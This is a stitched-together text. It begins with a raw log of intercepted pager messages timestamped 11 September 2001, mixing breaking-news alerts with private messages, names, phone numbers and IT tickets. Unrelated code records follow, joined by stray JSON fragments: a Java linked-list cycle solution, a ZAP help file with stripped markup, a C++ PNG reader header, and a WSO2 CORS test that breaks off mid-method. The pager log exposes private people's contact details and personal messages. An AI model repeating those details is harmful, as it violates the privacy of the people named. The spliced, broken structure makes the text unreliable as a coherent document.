Des Moines - BOOS (mainframe app) Ticket # 84484 8:12/ SLI=Y ETR=None I: Credit authorization is down. Escalation: Chris Epple / Acxiom Contact: Jack Abramson@515-252-7800-3605 Sherry@512-248-7953-ATC Helpdesk\n2001-09-11 10:27:46 Skytel [004402054] B ST NUM 854-818-7578 U (83 \n2001-09-11 10:27:46 Skytel [005186188] D SH/TONE 602-7926\n2001-09-11 10:27:46 Skytel [005485198] D SH/TONE 416-0923\n2001-09-11 10:27:46 Skytel [003330437] B ST NUM 604-388-2055 \n2001-09-11 10:27:46 Skytel [004076426] C ALPHA 39-PLEASE CALL WIFE - IMMEDIATELY. (97\n2001-09-11 10:27:46 Skytel [004140814] D ST NUM 804-237-7523 (45 \n2001-09-11 10:27:46 Skytel [007519756] D ALPHA y-alerts@yahoo-inc.com|| Plane crashes into second World Trade Center tower. \n2001-09-11 10:27:46 Skytel [002822538] C ALPHA BreakingNews@CNN.COM| CNN Breaking Ne\n2001-09-11 10:27:48 Metrocall [0089735] B ALPHA CALL DR FLETCHER @731-9911\n2001-09-11 10:27:48 Metrocall [002568440] C ALPHA CONT:id:3149964595)\n2001-09-11 10:27:48 Metrocall [1889594] C ALPHA [ 1/ 2] From: Hale, Daphne K. Just a Note: On adding a new sub entry, under the reason column, a new dropdown of \"targets\" have been added. When workers e\n2001-09-11 10:27:48 Metrocall [0125290] C ALPHA Frm: IPN Sub: New York City Txt: UPDATE: All Federal building have been closed. Most Major citys have activated some type of Emergency Plan. AA Confirmed a 767 was Hijacked. IPN\n2001-09-11 10:27:48 Metrocall [1363460] B ALPHA CALL ED ROGERS CELL-910-308-0879.JUDY\n2001-09-11 10:27:48 Skytel [004536466] A ST NUM 201-776-4904-9119119\n2001-09-11 10:27:48 Skytel [007524632] C ALPHA 4) Y! || Plane crashes into second World Trade Center tower. \n2001-09-11 10:27:48 Skytel [005242768] A ST NUM 302-981-6533 \n2001-09-11 10:27:48 Skytel [004412928] A SH/TONE 3736 \n2001-09-11 10:27:48 Skytel [003413891] A SH/TONE 629-8164\n2001-09-11 10:27:48 Skytel [004687131] C ALPHA If you get this message, give me a call Leslie\n2001-09-11 10:27:48 Skytel [005343896] C SH/TONE 1 (51 \n2001-09-11 10:27:48 Skytel [005113368] C ST NUM 301-587-8278 \n2001-09-11 10:27:48 Skytel [004728469] B SH/TONE 340-5555\n2001-09-11 10:27:48 Skytel [004686356] B ALPHA Chris Galvin and corporate CMT is meeting now, will let us know more Pat O'Rourke\n2001-09-11 10:27:48 Skytel [004447641] C ST NUM 381-414-0144 \n2001-09-11 10:27:48 Skytel [002215320] C ST NUM 540-720-8263 (1\n2001-09-11 10:27:48 Skytel [004421658] C SH/TONE 273-1710\n2001-09-11 10:27:48 Skytel [005384600] C ST NUM 513-851-9023 \n2001-09-11 10:27:48 Skytel [003485595] C ST NUM 770-222-2947 \n2001-09-11 10:27:48 Skytel [002281496] C ST NUM 800-759-8255 \n2001-09-11 10:27:48 Skytel [004387608] C ST NUM 717-786-7396 \n2001-09-11 10:27:48 Skytel [002401821] D ALPHA 206.122.40.73 Scratch Pool Depletion Warning for ACS 00 Subpool TAPE1A, 49 Scratch Volumes remaining ussa11.SSMC \n2001-09-11 10:27:48 Skytel [003419402] C SH/TONE 8005 \n2001-09-11 10:27:48 Skytel [002822538] C ALPHA ws|BREAKING NEWS from CNN.com -- United Nations evacuated. For complete coverage of this story visit: http://www.CNN.com or AOL Keyword: CNN CNN Headline News has changed everything but its name.\n2001-09-11 10:27:48 Skytel [002368791] B ST NUM 610-834-5318 U (1 \n2001-09-11 10:27:48 Skytel [005049241] C ST NUM 703-934-1777-116 \n2001-09-11 10:27:49 Arch [0459407] D ALPHA 41536\n2001-09-11 10:27:49 Arch [0658529] A ALPHA (13)NCC Op 9/11 8:59 AM CDT New York, NY/New York, NY Multiple DS3 outage (21) Site Evacuated due to New York, NY disaster. More information as available. TCC tkt#2041241 pw\n2001-09-11 10:27:49 Arch [1401728] A ALPHA (32)23-CALL HOME.\n2001-09-11 10:27:49 Arch [1269652] B ALPHA (19)NCC Opening: 9/11 8:00 AM CDT New York, NY 60 Hudson Switch Complex has evacuated because of possible terrorists act on the New York trade center. TEAMS tkt# 2041237 \n2001-09-11 10:27:49 Arch [1119609] C ALPHA (25)NCC Op 9/11 8:59 AM CDT New York, NY/New York, NY Multiple DS3 outage (21) Site Evacuated due to New York, NY disaster. More information as available. TCC tkt#2041241 pw\n2001-09-11 10:27:49 Arch [0764106] C ALPHA (27)NCC Op 9/11 8:59 AM CDT New York, NY/New York, NY Multiple DS3 outage (21) Site Evacuated due to New York, NY disaster. More information as available. TCC tkt#2041241 pw\n2001-09-11 10:27:49 Arch [1284206] D ALPHA 1021\n2001-09-11 10:27:50 Metrocall [1889594] C ALPHA nter substation for targets, you may now report targets instead of\n2001-09-11 10:27:50 Metrocall [1144600] C ALPHA Frm: Jackson, John Sub: Call Txt: Please call me. John Jackson CP&L, a Progress Energy Company Director Commercial, Industrial and Gov. Accounts Telephone 919.546.6123, VNet 77\n2001-09-11 10:27:50 Metrocall [0958267] C ALPHA (209110111)30209110111, A & P #0252 MGR 215-953-6670 09111420 544140-22150-010 LANE 8 HARDWARE (Auto Open) Problem Ticket opened via Apropos SCANNER SCALE SCANNER SCALE\n2001-09-11 10:27:50 Skytel [004742689] A ST NUM 710-416-4241 \n2001-09-11 10:27:50 Skytel [004693295] D ALPHA To: Connie Dobrescue Good Morning, Mark Rando is trying to reach you. Please call (732) 885-4378 as soon as possible. Thank you, Krystyna V783-4118\n2001-09-11 10:27:50 Skytel [007524397] D ST NUM 804-721-9397 \n2001-09-11 10:27:50 Skytel [007582887] B SH/TONE 601-1233\n2001-09-11 10:27:50 Skytel [005204001] A SH/TONE 577-5000\n2001-09-11 10:27:50 Skytel [003257632] A ALPHA SEV1 - Des Moines - BOOS (mainframe app) Ticket # 84484 8:12/ SLI=Y ETR=None I: Credit authorization is down. Escalation: Chris Epple / Acxiom Contact: Jack Abramson@515-252-7800-3605 Sherry@512-248-79\n2001-09-11 10:27:50 Skytel [005507878] B ALPHA vswaffor@visteon.com|There has been another plane to hit the trade ctr. There has bee n an explosion on capitol hill & the state dept is on fire in Washington.| \n2001-09-11 10:27:50 Skytel [005447082] C ST NUM 731-423-0251 \n2001-09-11 10:27:50 Skytel [005259811] A SH/TONE 77604 \n2001-09-11 10:27:50 Skytel [005378220] D ST NUM 917-921-2295 \n2001-09-11 10:27:50 Skytel [004403881] C ALPHA do not go into work. call me at home. 7146941518 Virginia Lee \n2001-09-11 10:27:51 Arch [0943762] A ALPHA FIRE CHIEF'S OFFICE I HAVE WATER IN THE FRIG...RACHEL IS PICKING UP SODAS, POTATO CHIPS, PRETZELS, PLATES, PEANUTS, MINTS, ETC.\n2001-09-11 10:27:52 Metrocall [1889594] C ALPHA [ 2/ 2] other. Thanks Daphne Hale\n2001-09-11 10:27:52 Metrocall [1144600] C ALPHA 0.6123 Cell Phone 919.630.9398 Pager 1.888.371.4885\n2001-09-11 10:27:52 Metrocall [002563102] D ALPHA Robin Jackson: LSWICLS, IR #489360, Pri 3, Greta Hildebr, 920-237-7029, Oshkosh-WI, User could not print from printer. 262-79\n2001-09-11 10:27:52 Metrocall [1115145] C ALPHA [ 2/ 2] other. Thanks Daphne Hale\n2001-09-11 10:27:52 Metrocall [1400954] C ALPHA /:DDC/: INFO: ALL SCHEDULED WORK FOR 9/11 HAS BEEN CANCELLED DUE\n2001-09-11 10:27:52 Skytel [003274928] A ALPHA red rs0810e1 USOpen3CellWebServers dfsro RO File /dfs/usopen/htdocs/about/pubstatus_usopen_salem.txt is 0:21 old RW is 0:21 old TOFIX: Restart nRelease or something message from se0107e0 14:23 09/11\n2001-09-11 10:27:52 Skytel [004528946] A ST NUM 281-693-5106 \n2001-09-11 10:27:52 Skytel [002555186] A ST NUM 0004134107\n2001-09-11 10:27:52 Skytel [007542707] A SH/TONE 77936 \n2001-09-11 10:27:52 Skytel [003257632] A ALPHA 53-ATC Helpdesk\n2001-09-11 10:27:52 Skytel [003407669] B ST NUM 033-6969-40 \n2001-09-11 10:27:52 Skytel [005040316] D ALPHA I will stay at 570 until I hear from you and we make plans 2482. Pentagon was also crashed into.\n2001-09-11 10:27:52 Skytel [004397369] C ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clear of windows. Thanks, V\n2001-09-11 10:27:52 Skytel [004418874] C ST NUM 9007630389\n2001-09-11 10:27:52 Skytel [005180473] C SH/TONE 6 \n2001-09-11 10:27:52 Skytel [004413114] C ST NUM 703-918-6172 \n2001-09-11 10:27:52 Skytel [004422457] C ST NUM 8003010736\n2001-09-11 10:27:52 Skytel [003260990] D ALPHA SEV1 - Des Moines - BOOS (mainframe app) Ticket # 84484 8:12/ SLI=Y ETR=None I: Credit authorization is down. Escalation: Chris Epple / Acxiom Contact: Jack Abramson@515-252-7800-3605\n2001-09-11 10:27:52 Skytel [0001336] C ALPHA ]!z00]\"AE];0a]<2The White House has been evacuated...]$ (48\n2001-09-11 10:27:52 Skytel [005243068] D SH/TONE 428-6178\n2001-09-11 10:27:52 Skytel [005061300] B ALPHA (1 of 2) Pru being evacuated, meeting cancelled, call and tell me where and when\n2001-09-11 10:27:52 Skytel [003923764] B ST NUM 872-656-5924 \n2001-09-11 10:27:52 Skytel [007098424] C ST NUM 305-971-2434 \n2001-09-11 10:27:52 Skytel [002816827] C ALPHA Ted: Please call Lou or me as soon as\n2001-09-11 10:27:53 Arch [0949384] C ALPHA QUOTE NOW.$$---------------$$.CA 27.60 Unch.*******************.(c)2001 DATACAST(R).\n2001-09-11 10:27:53 Arch [0319667] A ALPHA \"Foreman, Elizab|Re: WCPO/CINCINOW.COM News Updat|Car Bomb explodes outside State Department. Liz Foreman Site Director CinciNow.com 513-852-4069 foreman@cincinow.com www.cincinow.com\n2001-09-11 10:27:53 Arch [1284371] A ALPHA From Amber Pratt Sub:Stephen called. Call him on his mobile. He is on his way home to watch the tv. Msg: \n2001-09-11 10:27:53 Arch [0902447] D ALPHA 948-5415\n2001-09-11 10:27:53 Arch [0285574] B ALPHA \"Henry, Michael |Both cities workload|\n2001-09-11 10:27:53 Arch [0917572] B ALPHA I called Barb Gooding. All 3 analyst are in Ontario and Frits is in Vegas. She has Lanny's cell phone and will call him Lisa LeMaster 317-596\n2001-09-11 10:27:54 Metrocall [1588639] D ALPHA I am going to keep us on reduced for mechincals and bomb threats till I hear from you all \n2001-09-11 10:27:54 Metrocall [002563102] D ALPHA 6-7242 09-11-01 09:15AM CDT\n2001-09-11 10:27:54 Metrocall [1400954] C ALPHA TO TERRORIST ACTIVITY IN THE UNITED STATES. MJF\n2001-09-11 10:27:54 Metrocall [1924241] A ALPHA Frm: Mark.Crain@ci.orlando.fl.us Sub: LN Txt: W. McBride Sent by: To: Alan Oyler/WEM/PWK/Orlando@Orlando, William Beryl Davis/AUD/ADM/Orlando@Orlando, Bill McBride Chamberlin/STW/PWK/Orlando@Orlando, Brenda Robinson/ART/ADM/Orlando@Orlando,\n2001-09-11 10:27:54 Skytel [002565827] A ST NUM 505-297-4815 \n2001-09-11 10:27:54 Skytel [003448898] A SH/TONE 294-1100\n2001-09-11 10:27:54 Skytel [003927222] B ALPHA BILL, VINCE CALL AS SOON YOU CAN.. 43065 \n2001-09-11 10:27:54 Skytel [005067064] C ALPHA HONEY, FORGOT...POSTPONE HORSE RIDING LESSONS UNTIL 9/25. MILLIE'S PHONE NUMBER IS 833-4057. I LOVE YOU. --PATTY\n2001-09-11 10:27:54 Skytel [004678580] B ALPHA SUP CALL BACK IN E-MAIL FOR MARLENE'S \n2001-09-11 10:27:54 Skytel [004397369] C ALPHA el J.\n2001-09-11 10:27:54 Skytel [005110344] C ALPHA 713-695-3097\n2001-09-11 10:27:54 Skytel [003951304] C ALPHA sniman@rainmakerct.com|Carrie's message|Stay at home -Carrie I am pageable if you want to talk. I am actually in Reston at this moment. \n2001-09-11 10:27:54 Skytel [004416439] B ST NUM 800-456-1919 \n2001-09-11 10:27:54 Skytel [007638069] B ST NUM 8002087364\n2001-09-11 10:27:54 Skytel [007524405] B ALPHA Y! || Plane cr\n2001-09-11 10:27:54 Skytel [003260990] D ALPHA Sherry@512-248-7953-ATC Helpdesk\n2001-09-11 10:27:54 Skytel [007519043] A ALPHA Y! || Plane crashes into second World Trade Center tower. \n2001-09-11 10:27:54 Skytel [007541064] C SH/TONE 5104082 \n2001-09-11 10:27:54 Skytel [003258059] C ST NUM 985-395-9311 \n2001-09-11 10:27:54 Skytel [004757067] C ST NUM 923-473-3300-3 \n2001-09-11 10:27:54 Skytel [003263297] A ST NUM 214-906-1950 \n2001-09-11 10:27:54 Skytel [002747835] C ST NUM 713-692-9982 \n2001-09-11 10:27:54 Skytel [004412857] C ST NUM 877-795-3687-1111 \n2001-09-11 10:27:54 Skytel [007543224] C SH/TONE 4956 \n2001-09-11 10:27:54 Skytel [005112119] B SH/TONE 643-9633\n2001-09-11 10:27:54 Skytel [002816827] C ALPHA you can. Thanks Cathie (x4528/4194) (85\n2001-09-11 10:27:54 Skytel [007524685] D ALPHA Y! || Plane crashes into second World Trade Center tower. \n2001-09-11 10:27:54 Skytel [005098307] A SH/TONE 862-1110\n2001-09-11 10:27:54 Skytel [004528207] D SH/TONE 412-9346\n2001-09-11 10:27:54 Skytel [005203270] B SH/TONE 98000 \n2001-09-11 10:27:54 Skytel [003939271] B ST NUM 601-354-4021 U \n2001-09-11 10:27:54 Skytel [004542898] A ALPHA CALL YOUR MOTHER AT HOME.\n2001-09-11 10:27:54 Skytel [005061043] A ALPHA 7) SEV1 - Des Moines - \n2001-09-11 10:27:55 Arch [1333814] B ALPHA 99-CALL LORI AT 936-321-6321. VERY VERY URGENT.\n2001-09-11 10:27:55 Arch [0917572] B ALPHA -8399\n2001-09-11 10:27:55 Skytel [004678580] B ALPHA CLUSTER DOROTHY 3132\n2001-09-11 10:27:55 Skytel [007007583] D ALPHA Y! || Plane crashes into second World Trade Center tower. \n2001-09-11 10:27:55 Skytel [004516688] A ALPHA root@blt-srv5.atl.hp.com||Case:534778k:Phone:no_phone:Opened:1000217568:Desc:job j1148, amprchgj,sltdbmgr.salt aborted on ise55 \n2001-09-11 10:27:55 Skytel [007524405] B ALPHA ashes into second World Trade Center tower. \n2001-09-11 10:27:55 Skytel [004192086] B ST NUM 281-872-2246 \n2001-09-11 10:27:55 Skytel [004060502] B ST NUM 714-488-8407-8 (52 \n2001-09-11 10:27:55 Skytel [003474772] B ST NUM 703-808-7746 \n2001-09-11 10:27:55 Skytel [007031504] A ALPHA That's not a cigarette in your hand is it?\n2001-09-11 10:27:55 Skytel [002736343] B ST NUM 214-878-8026 \n2001-09-11 10:27:55 Skytel [005415889] A ALPHA From: BreakingNe Subject: CNN Breaking News BREAKIN\n2001-09-11 10:27:55 Skytel [005210183] B ALPHA SEV1 - Des Moines - BOOS (mainframe app) Ticket # 84484 8:12/ SLI=Y ETR=None I: Credit authorization is down. Escalation: Chris Epple / Acxiom Contact: Jack Abramson@515-252-7800-3605 Sherry@512-248-7953-ATC Helpdesk\n2001-09-11 10:27:55 Skytel [005524572] D ST NUM 710-779-1944 \n2001-09-11 10:27:55 Skytel [005061043] A ALPHA BOOS (mainframe app) Ticket # 84484 8:12/ SLI=Y ETR=None I: Credit authorization is down. Escalation: Chris Epple / Acxiom Contact: Jack Abramson@515-252-7800-3605 Sherry@512-248-7953-ATC Helpdesk\n2001-09-11 10:27:55 Skytel [007555934] D ST NUM 814-235-0216 \n2001-09-11 10:27:55 Skytel [007047763] A ST NUM 8776452258\n2001-09-11 10:27:55 Skytel [003949023] D ALPHA A \n2001-09-11 10:27:57 Arch [1109787] C ALPHA THERESA CHATELAI|page|Richard O'Shee is on his way to our office. Terrel just called and said he just left BR. 9:30 AM Theresa \n2001-09-11 10:27:57 Arch [1380009] C ALPHA call me at 7-2334! are you ok? []\n2001-09-11 10:27:57 Arch [1053998] D ALPHA CT:SCF AIRPORT @310 AVIATION WAY FRED BOX:3-2 DUE:E31 A38\n2001-09-11 10:27:57 Arch [0000101] B ALPHA MSN 008 hello Message from NOC PCB.\n2001-09-11 10:27:57 Metrocall [1064385] A ALPHA JY 8315/8392 +045 EC 9075/9049 +0075 BP 14600/14350 +020 SF 6060/6011 +125 CD 6382/6385 -016 DM 4590/4591 -082 FES 9704/749/753/45 FDX 4396/4435 -290 PTB 9015/8923 +037 1YTT 9519/9510 +16 CAC 4227/4343 -167 BDL10846+21FYB13924 BDM10758+30\n2001-09-11 10:27:57 Metrocall [1441517] D ALPHA BREAKING NEWS A second explosion has been reported at the Pentagon. It is speculated that bombs were on board planes that crashed into the buildings, causing the complete collapse of at least one tower. Many Federal buildings includin\n2001-09-11 10:27:57 Skytel [005243984] A ST NUM 864-133-3555 \n2001-09-11 10:27:57 Skytel [002553936] A ST NUM 719-567-7799 \n2001-09-11 10:27:57 Skytel [005205867] C ALPHA Attn: Per Tom Dolan pls. meet at the 1st Conf. Room , and stay clear of windows. Thanks, Vel J.\n2001-09-11 10:27:57 Skytel [005040100] B ALPHA SEV1 - Des Moines - BOOS (mainframe app) Ticket # 84484 8:12/ SLI=Y ETR=None I: Credit authorizati\n2001-09-11 10:27:57 Skytel [005415889] A ALPHA G NEWS from CNN.com -- United Nations evacuated. For complete coverage of this story visit: http://www.CNN.com or AOL Keyword: CNN CNN Headline News has changed everything but its\n2001-09-11 10:27:57 Skytel [007113189] B ST NUM 410-429-1525 \n2001-09-11 10:27:57 Skytel [007528548] B ALPHA Y! || Plane crashes into second Wor\n2001-09-11 10:27:57 Skytel [004752218] C ST NUM 872-761-2458 \n2001-09-11 10:27:57 Skytel [005211867] C SH/TONE 882-2939\n2001-09-11 10:27:57 Skytel [005111513] C ALPHA I don't have your work number-kpersing@us.ibm.com\n2001-09-11 10:27:57 Skytel [005352656] A ALPHA Mike, Do you know if Joe Ciarcia flew out last night to Phoenix? Marc Cremer (512) 996-4047 Pin # 5598158\n2001-09-11 10:27:57 Skytel [005480168] C SH/TONE 967-9181\n2001-09-11 10:27:57 Skytel [002350944] A ST NUM 370-941-4911-911 \n2001-09-11 10:27:57 Skytel [005381995] C SH/TONE 278-2920\n2001-09-11 10:27:57 Skytel [003949023] D ALPHA car bomb just went off in DC and a hijacked plane is now heading for Dc. :( (72\n2001-09-11 10:27:57 Skytel [003483356] D ST NUM 1-800-304-5870 \n2001-09-11 10:27:57 Skytel [005341023] D ST NUM 703-627-3786 \n2001-09-11 10:27:57 Skytel [004081756] D ST NUM 1-800-922-0291 \n2001-09-11 10:27:57 Skytel [005331678] D SH/TONE 402-0667\n2001-09-11 10:27:57 Skytel [005338196] B SH/TONE 25200 \n2001-09-11 10:27:57 Skytel [005226605] D ST NUM 9685279571\n2001-09-11 10:27:57 Skytel [007513833] C ALPHA Y! || Plane crashes into second World Trade Center tower. \n2001-09-11 10:27:59 Arch [0333317] B ALPHA |Rot Notify |B826984 SLC-VPN-SOLTNS 00:45:05 P3 CCO Case C PPTP (VPN::VPN with Routers #E69 B800049 SLC-VPN-SOLTNS 00:57:45 P3 RTP- PH-LQ VPN client install assist - prob B822843 SLC-VPN-SOLTNS 00:50:30 P3 SJ- PH-Cal CVPN3015 / Not -1/2\n2001-09-11 10:27:59 Arch [1006869] B ALPHA proberts|Urgent - Please call Paula \n2001-09-11 10:27:59 Metrocall [1575915] C ALPHA Robin Jackson: LSWICLS, IR #489360, Pri 3, Greta Hildebr, 920-237-7029, Oshkosh-WI, User could not print from printer. 262-796-7242 09-11-01 09:16AM CDT\n2001-09-11 10:27:59 Metrocall [1424528] A ALPHA Robin Jackson: LSWICLS, IR #489360, Pri 3, Greta Hildebr, 920-237-7029, Oshko\n2001-09-11 10:27:59 Metrocall [0000329] C ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 2332\n2001-09-11 10:27:59 Metrocall [002272487] B ALPHA MESSAGE WAITING :316-2530\n2001-09-11 10:27:59 Metrocall [0903043] A ALPHA IPAGE FROM \n2001-09-11 10:27:59 Skytel [005040100] B ALPHA on is down. Escalation: Chris Epple / Acxiom Contact: Jack Abramson@515-252-7800-3605 Sherry@512-248-7953-ATC Helpdesk\n2001-09-11 10:27:59 Skytel [002268257] A SH/TONE 15 \n2001-09-11 10:27:59 Skytel [002747361] A ST NUM 917-931-9449 \n2001-09-11 10:27:59 Skytel [004431587] A SH/TONE 799-8000\n2001-09-11 10:27:59 Skytel [005129186] A ST NUM 770-367-3154 \n2001-09-11 10:27:59 Skytel [005325930] C SH/TONE 2345 \n2001-09-11 10:27:59 Skytel [007437921] A ST NUM 18007598255 (7 \n2001-09-11 10:27:59 Skytel [007101805] D ALPHA No pages for BAC overnight\n2001-09-11 10:27:59 Skytel [007528548] B ALPHA ld Trade Center tower. \n2001-09-11 10:27:59 Skytel [003461094] B ST NUM 908337 (34\n2001-09-11 10:27:59 Skytel [003497447] B SH/TONE 3164 \n2001-09-11 10:27:59 Skytel [004590439] B ST NUM 000069 (38\n2001-09-11 10:27:59 Skytel [002785637] B ST NUM 215-591-1595 \n2001-09-11 10:27:59 Skytel [007047533] D ALPHA SEV1 - Des Moines - BOOS (mainframe app) Ticket # 84484 8:12/ SLI=Y ETR=None I: Credit authorization is down. Escalation: Chris Epple / Acxiom C\n2001-09-11 10:27:59 Skytel [004590714] C SH/TONE 366-5925\n2001-09-11 10:27:59 Skytel [005172730] C ST NUM 323-665-5999-99\n2001-09-11 10:27:59 Skytel [002389096] C SH/TONE 01 \n2001-09-11 10:27:59 Skytel [002567403] C ST NUM 301-734-5553 \n2001-09-11 10:27:59 Skytel [003917932] D ALPHA SEV1 - Des Moines - BOOS (mainframe app) Ticket # 84484 8:12/ SLI=Y ETR=None I: Credit authorization is down. Escalation: Chris Epple / Acxiom Contact: Jack Abramson@515-252-7800-3605\n2001-09-11 10:27:59 Skytel [003410413] D SH/TONE 85 \n2001-09-11 10:27:59 Skytel [002783084] D SH/TONE 729-9075\n2001-09-11 10:27:59 Skytel [005048558] D ALPHA (0270319513)Sev:3 Case ID:1577427 Site:2308, HALLMARK CARDS 1-800-7352778 ServiceTek Alert vsm: VTSS SN # 884 called home with broken RTD. Dailed into VTSS and found drive 455 in maintinace mode. Paging loacl CSE to check ou\n"} +{"text": "package company.offerup.onsite;\n/* Given a linked list, return the node where the cycle begins. If there is no cycle, return null.\n * Follow up:\n * Can you solve it without using extra space?\n */\n/* step 1: move fast and slow pointers as in Cycle I\n * step 2: move fast to the head and let the two pointers move at the same speed and they meet where the cycle starts\n */\n\nimport leetcode.common.ListNode;\n\n/**\n * Cycle = length of the cycle, if exists.\n * C is the beginning of Cycle, S is the distance of slow pointer from C when slow pointer meets fast pointer.\n *

\n * Distance(slow) = C + S, Distance(fast) = 2 * Distance(slow) = 2 * (C + S). To let slow pointer meets fast pointer, only if fast pointer run 1 cycle more than slow pointer. Distance(fast) - Distance(slow) = Cycle\n * => 2 * (C + S) - (C + S)\t= Cycle\n * =>\tC + S = Cycle\n * =>\tC = Cycle - S\n * => This means if slow pointer runs (Cycle - S) more, it will reaches C. So at this time, if there's another point2 running from head\n * => After C distance, point2 will meet slow pointer at C, where is the beginning of the cycle.\n */\npublic class LinkedListCycleII {\n public ListNode detectCycle(ListNode head) {\n ListNode fast = head, slow = head;\n //special case\n if (fast == null || fast.next == null)\n return null;\n while (fast != null && fast.next != null) {\n fast = fast.next.next;\n slow = slow.next;\n if (fast == slow) {\n while (head != slow) {\n head = head.next;\n slow = slow.next;\n }\n return slow;\n }\n }\n return null;\n }\n}\n"} +{"text": "\n\n\n Passive Scan Rules | ZAP Extension\n\n \n top\n \n \n\n \n TOC\n \n org.zaproxy.zap.extension.help.ZapTocView\n toc.xml\n \n\n \n Index\n \n javax.help.IndexView\n index.xml\n \n\n \n Search\n \n javax.help.SearchView\n \n JavaHelpSearch\n \n \n\n \n Favorites\n \n javax.help.FavoritesView\n \n"} +{"text": "#ifndef _PNG_READER_PLUGIN_HPP_\n#define _PNG_READER_PLUGIN_HPP_\n\n#include \n\nnamespace tuttle\n{\nnamespace plugin\n{\nnamespace png\n{\nnamespace reader\n{\n\nstruct PngReaderProcessParams\n{\n std::string _filepath; ///< filepath\n};\n\n/**\n * @brief Png reader\n *\n */\nclass PngReaderPlugin : public ReaderPlugin\n{\npublic:\n PngReaderPlugin(OfxImageEffectHandle handle);\n\npublic:\n PngReaderProcessParams getProcessParams(const OfxTime time);\n\n void changedParam(const OFX::InstanceChangedArgs& args, const std::string& paramName);\n bool getRegionOfDefinition(const OFX::RegionOfDefinitionArguments& args, OfxRectD& rod);\n void getClipPreferences(OFX::ClipPreferencesSetter& clipPreferences);\n\n void render(const OFX::RenderArguments& args);\n};\n}\n}\n}\n}\n\n#endif\n"} +{"text": "/*\n * Copyright (c) 2016, WSO2 Inc. (http://www.wso2.org) All Rights Reserved.\n *\n * WSO2 Inc. licenses this file to you under the Apache License,\n * Version 2.0 (the \"License\"); you may not use this file except\n * in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\npackage org.wso2.am.integration.tests.header;\n\nimport org.apache.commons.logging.Log;\nimport org.apache.commons.logging.LogFactory;\nimport org.apache.http.Header;\nimport org.apache.http.HttpResponse;\nimport org.apache.http.client.HttpClient;\nimport org.apache.http.client.methods.HttpGet;\nimport org.apache.http.client.methods.HttpOptions;\nimport org.apache.http.client.methods.HttpUriRequest;\nimport org.apache.http.impl.client.HttpClientBuilder;\nimport org.testng.annotations.AfterClass;\nimport org.testng.annotations.BeforeClass;\nimport org.testng.annotations.DataProvider;\nimport org.testng.annotations.Factory;\nimport org.testng.annotations.Test;\nimport org.wso2.am.integration.clients.publisher.api.v1.dto.APIOperationsDTO;\nimport org.wso2.am.integration.clients.store.api.v1.dto.ApplicationDTO;\nimport org.wso2.am.integration.clients.store.api.v1.dto.ApplicationKeyDTO;\nimport org.wso2.am.integration.clients.store.api.v1.dto.ApplicationKeyGenerateRequestDTO;\nimport org.wso2.am.integration.clients.store.api.v1.dto.SubscriptionDTO;\nimport org.wso2.am.integration.clients.store.api.v1.dto.SubscriptionListDTO;\nimport org.wso2.am.integration.test.utils.base.APIMIntegrationConstants;\nimport org.wso2.am.integration.test.utils.bean.APIRequest;\nimport org.wso2.am.integration.tests.api.lifecycle.APIManagerLifecycleBaseTest;\nimport org.wso2.carbon.automation.engine.annotations.ExecutionEnvironment;\nimport org.wso2.carbon.automation.engine.annotations.SetEnvironment;\nimport org.wso2.carbon.automation.engine.context.TestUserMode;\n\nimport java.net.URL;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.testng.Assert.assertEquals;\nimport static org.testng.Assert.assertNotNull;\nimport static org.testng.Assert.assertNull;\nimport static org.testng.Assert.assertTrue;\n\n/**\n * Test CORS functionality\n */\n@SetEnvironment(executionEnvironments = {ExecutionEnvironment.ALL })\npublic class CORSHeadersTestCase extends APIManagerLifecycleBaseTest {\n\n private static final String API_NAME = \"CorsHeadersTestAPI\";\n private static final String APPLICATION_NAME = \"CorsHeadersApp\";\n private static final String API_CONTEXT = \"corsHeadersTestAPI\";\n private static final String API_VERSION = \"1.0.0\";\n private static final String TAGS = \"cors, test\";\n private static final String DESCRIPTION = \"This is test API create by API manager integration test\";\n private final String API_END_POINT_POSTFIX_URL = \"jaxrs_basic/services/customers/customerservice/\";\n\n private static final String ACCESS_CONTROL_ALLOW_ORIGIN_HEADER = \"Access-Control-Allow-Origin\";\n private static final String ACCESS_CONTROL_ALLOW_ORIGIN_HEADER_VALUE = \"*\";\n private static final String ACCESS_CONTROL_ALLOW_METHODS_HEADER = \"Access-Control-Allow-Methods\";\n private static final String ACCESS_CONTROL_ALLOW_METHODS_HEADER_VALUE = \"DELETE,POST,PUT,PATCH,GET\";\n private static final String ACCESS_CONTROL_ALLOW_HEADERS_HEADER = \"Access-Control-Allow-Headers\";\n private static final String ACCESS_CONTROL_ALLOW_HEADERS_HEADER_VALUE\n = \"authorization,Access-Control-Allow-Origin,Content-Type,SOAPAction,Authorization\";\n private static final String ACCESS_CONTROL_ALLOW_CREDENTIALS_HEADER = \"Access-Control-Allow-Credentials\";\n\n private String accessToken;\n private String applicationId;\n private String apiId;\n private ArrayList grantTypes;\n private Map requestHeaders;\n private String apiEndPointUrl;\n\n Log log = LogFactory.getLog(CORSHeadersTestCase.class);\n\n @BeforeClass(alwaysRun = true)\n public void setEnvironment() throws Exception {\n super.init(userMode);\n apiEndPointUrl = backEndServerUrl.getWebAppURLHttps() + API_END_POINT_POSTFIX_URL;\n String providerName = user.getUserName();\n APIRequest apiRequest = new APIRequest(API_NAME, API_CONTEXT, new URL(apiEndPointUrl), true);\n apiRequest.setTags(TAGS);\n apiRequest.setDescription(DESCRIPTION);\n apiRequest.setTiersCollection(TIER_UNLIMITED);\n apiRequest.setProvider(providerName);\n //Add api resource\n APIOperationsDTO apiOperationsDTO1 = new APIOperationsDTO();\n apiOperationsDTO1.setVerb(APIMIntegrationConstants.HTTP_VERB_GET);\n apiOperationsDTO1.setTarget(\"/customers/{id}\");\n apiOperationsDTO1.setAuthType(APIMIntegrationConstants.RESOURCE_AUTH_TYPE_APPLICATION_AND_APPLICATION_USER);\n apiOperationsDTO1.setThrottlingPolicy(APIMIntegrationConstants.RESOURCE_TIER.UNLIMITED);\n\n List operationsDTOS = new ArrayList<>();\n 